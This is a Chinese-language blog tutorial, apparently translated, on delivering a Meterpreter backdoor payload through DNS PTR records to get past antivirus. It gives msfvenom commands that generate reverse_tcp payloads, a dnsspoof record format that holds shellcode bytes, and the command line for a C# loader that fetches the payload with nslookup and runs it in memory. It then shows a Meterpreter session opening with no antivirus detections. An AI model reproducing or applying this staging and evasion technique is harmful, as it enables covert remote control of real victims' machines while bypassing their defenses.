通過DNS傳輸后門來繞過殺軟
前言
在本篇文章里，我想解釋怎么樣不使用加密數據的方法也能繞過殺軟，同時我也想在github上分享源代碼。https://github.com/DamonMohammadbagher/NativePayload_DNS
我想使用DNS協議來傳輸我的后門載荷，從攻擊者的機器到客戶端機器。這種情況下，我們的后門代碼就不需要是硬編碼的或者加密的了。
因此被殺軟檢測出來的風險就很低了。
為什么是DNS協議?
因為在大多數的網絡里DNS流量都是有效的，IPS/IDS或者硬件防火墻都不會監控和過濾DNS流量。我知道你可以使用SNORT IPS/IDS或者類似的東西來檢測DNS流量，但是在DNS流量里使用特征檢測出新的載荷非常困難。當然網絡管理員也有可能這么做。
本篇文章我想給你展示一個在DNS的請求和回應流量里隱藏你的載荷的方法。
漏洞點在哪兒呢?
如果你想要在后門文件中利用非加密或者無硬編碼的攻擊負荷，比如現在這種情況，你需要利用像http,DNS ...這樣的網絡協議把攻擊負荷從你的系統傳送到目標機上。這種情況下，我們想通過DNS協議傳送攻擊負荷，并同時在目標機器的內存里執行這些攻擊載荷。因此漏洞點在于攻擊載荷的位置，還在于殺軟檢測惡意樣本的方式。因為在這種情況下，我們不會保存攻擊載荷到文件系統，載荷只是在內存里，流量里。
很不幸運的是，各種殺軟為檢測惡意代碼，監控網絡流量，監控及掃描內存的，卻不是很有效。甚至大多數殺軟不管是否有IPS/IDS特性，都是根本無效的。
例子：后門載荷隱藏在擁有PTR記錄和A記錄的DNS域中。
圖 1：DNS域(IP地址到DNS全稱域名)
注：圖片一的紅色翻譯：
第一行：Meterpreter載荷的第一行數據 {載荷}.1.com
左下方：時間設置，后門核心代碼每十分鐘重連一次攻擊者，每5分鐘建立一次連接。1.1.{10}.{5}
右下方：繞過比如像Snort對DNS流量的基于特征檢測攻擊載荷的好辦法(可能);-)，拆分攻擊載荷到1-5記錄。你可以利用NSLOOKUP來還原這些記錄，每隔一段時間比如(每2分鐘：獲取一個記錄)
正如你所見，這個DNS域中，我有兩個很像是全稱域名的PTR類型的記錄，隱藏了Meterpreter載荷。還有兩個PTR類型的記錄保存了后門重連的時間設置，還有一個A類型的記錄也是保存了時間設置。
拆分載荷數據到記錄! 如果你想繞過防火墻或者IPS/IDS對DNS流量的基于特征的檢測。
拆分的一個好辦法是，把你的攻擊載荷拆分到PTR類型的DNS記錄里，或者其他你可以加密載荷并使用的協議里。這取決于你和你的目標網絡。
正如圖1里，我把Meterpreter載荷的第一行數據拆分到5個記錄里。因此這些記錄里的載荷等于記錄1.1.1.0。
例子: 1.0.1.0 + 1.0.1.1 + 1.0.1.2 + 1.0.1.3 + 1.0.1.4 = 1.1.1.0。
在客戶端，你可以使用其他的工具或者技術，從假冒的DNS服務器獲取還原出這些載荷。不過，我打算利用NSLOOKUP命令行實時獲取，因為我覺得這比較簡單。
在圖片2，我嘗試用NSLOOKUP工具測試假冒的DNS服務器到客戶端的DNS流量。
圖片2：Nslookup命令及DNS流量測試。
注：圖2里的紅色翻譯如下：Meterpreter載荷通過DNS協議傳輸的流量。現在怎么檢測呢?有思路嗎?
現在我要講下，怎么樣在Linux里創建假冒的DNS服務器，以及Meterpreter載荷如何保存拆分到DNS記錄。最后我要利用我的工具NativePayload_DNS.exe來執行這些載荷，并得到一個Meterpreter連接會話。
步驟1:一步步的創建擁有Meterpreter載荷的假冒DNS服務器：
本步驟中，你可以利用Msfvenom創建一個Meterpreter載荷，像圖片4中那樣。并把載荷一行一行的拷貝到dns.txt文件中，然后利用DNSSpoof在Kali Linux中創建一個假冒的DNS服務器。
不過我首先展示EXE模式的Meterpreter載荷，并用所有的殺軟測試，然后你會發現絕大多數殺軟都可以檢測出來。
為什么我要展示著一點呢?
因為我想表明給你看，同一個攻擊載荷，用兩種技術，一是EXE模式，二是DNS傳輸。你會看到殺軟可以檢測出EXE模式的載荷，但是不能檢測出利用第二個技術”DNS傳輸”的載荷。但我們知道這兩種方法是同一個載荷。
例子1 , EXE模式的載荷: msfvenom –-platform windows –arch x86_64 –p windows/x64/meterpreter/reverse_tcp lhost=192-168-1-50 –f exe > /root/Desktop/payload.exe
下邊圖3你會看到，我的EXE模式的載荷被11款殺軟檢測出來了。
圖3：EXE模式的載荷被檢測出來了。
好了，現在該用第二種技術了，生成載荷時使用了C類型。
例2 , 第二種技術DNS流量: msfvenom –-platform windows –arch x86_64 –p windows/x64/meterpreter/reverse_tcp lhost=192-168-1-50 –f c > /root/Desktop/payload.txt
生成payload.txt文件后，必須把載荷拷貝到dns.txt，按照圖4里的格式，一行一行的拷貝。這非常重要，必須保證dns.txt有正確的格式。因為Linu里的Dnsspoof要用到，格式如下：
- IP地址 “{載荷}.域.com”
- 1.1.1.0 “0xfc0x480x830xe40xf00xe8.1.com”
- 1.1.1.1“0xbc0xc80x130xff0x100x08.1.com”
在這種情況下，因為我的C#后門定制化的用到了域名"1.com"，我們必須使用這個名稱作為域名。或者像其他"2.com"，"3.net"，"t.com"，再或者一個字符加".com"作為域名。
所以在這種情況下，IP地址” 1.1.1.x” 里的x就是dns.txt文件里的載荷行數，
- 1.1.1.0 --> payload.txt里的0行 --> “{載荷0}.1.com”
- 1.1.1.1 --> payload.txt里的1行 --> “{載荷1}.1.com”
- 1.1.1.2 --> payload.txt里的2行 --> “{載荷2}.1.com”
圖4：生成假冒的DNS服務器和Meterpreter載荷的步驟1
生成后的dns.txt文件應該如下圖5。
圖5：dnsspoof用來假冒DNS服務器的Dns.txt文件
好了，現在利用dnsspoof在Linux里生成假冒的DNS服務器，像下圖6一樣。
圖6：dnsspoof工具
在步驟2中，我們需要一個后門，從假冒的DNS服務器下載攻擊載荷，利用的是DNS協議。
在這種情況下，我編寫了C#代碼來干這件事。我的代碼里使用了nslookup.exe發送DNS請求，最終我的代碼捕獲到了DNS PTR類型回應里的后門載荷。
C# 源代碼鏈接: https://github.com/DamonMohammadbagher/NativePayload_DNS
步驟2：
源代碼編譯后，生成的exe，按照如下的命令語法執行：
命令語法: NativePayload_DNS.exe “起始IP地址” 計數 “假冒DNS服務器IP地址”
例如: C:\> NativePayload_DNS.exe “1.1.1.” 34 “192.168.1.50”
起始IP地址：是你PTR記錄里的第一個IP地址，不包含最后一節。對于域名ID { 1 . 1 . 1 . }你需要輸入三個1.作為參數。
計數：是DNS PTR類型記錄的個數，在這種情況下，我們dns.txt 文件里的1.1.1.0 …. 1.1.1.33，所以這個計數是34。
假冒DNS服務器IP地址：是我們或者說是攻擊者的假冒的DNS服務器IP地址，在這種情況下，我們的kali linux ip地址是192-168-1-50。
在執行后門之前，你要記住，必須確保kali linux里的Metasploit監聽在IP地址192-168-1-50。
現在你可以像圖7一樣執行后門了：
NativePayload_DNS.exe 1.1.1. 34 192.168.1.50
圖7：NativePayload_DNS 工具
正如圖7里，后門嘗試發送DNS請求IP地址1.1.1.x，并得到了PTR或者FQDN類型記錄的回應。在下一張圖里，你會發現客戶端和假冒DNS服務器之間的網絡流量。
圖8：利用DNS流量傳送Meterpreter載荷
最終34個記錄倒計時完成之后，你會在攻擊者那端得到一個Meterpreter連接會話，像圖9里的。而且不幸的是，我的殺軟沒檢測出來這種技術。我認為大多數的殺軟都無法檢測出來，如果你用其他殺軟測試了這個技術，請在評論里留言告訴我結果，還有哪款殺軟和版本;)。謝謝你伙計。
圖9：利用DNS協議的Meterpreter會話連接
你會看到我的殺軟再一次被繞過了;-)，這是用所有殺軟掃描我的源代碼的結果，你可以比較圖3和圖10。兩個后門使用同樣的載荷。
圖 10: NativePayload_DNS (AVs結果 = 0 被檢測)
下張圖你會看到C#源代碼使用了NSLOOKUP工具的背后究竟發生了什么。
圖11：Nslookup 和 UDP連接
最終你會在tcpview和putty里看到我的Meterpreter會話，見下圖：
圖12：Tcpview以及TCP有效連接，當后門載荷被從假冒的DNS服務器下載下來后。
在圖13里，你同樣可以看到Meterpreter會話：
圖13：Meterpreter會話。
一目了然：你不能相信殺軟總是可以防范網絡中攻擊載荷的傳輸，如果通過這種技術或者其他的方法來傳送攻擊載荷的話，哪怕是使用其他協議。你的網絡和客戶端/服務器是很脆弱的。所以請用你自己的殺軟測試這個技術，并分享你的經驗，在評論里留言告訴我(也許這件事我說錯了，也許沒有)。
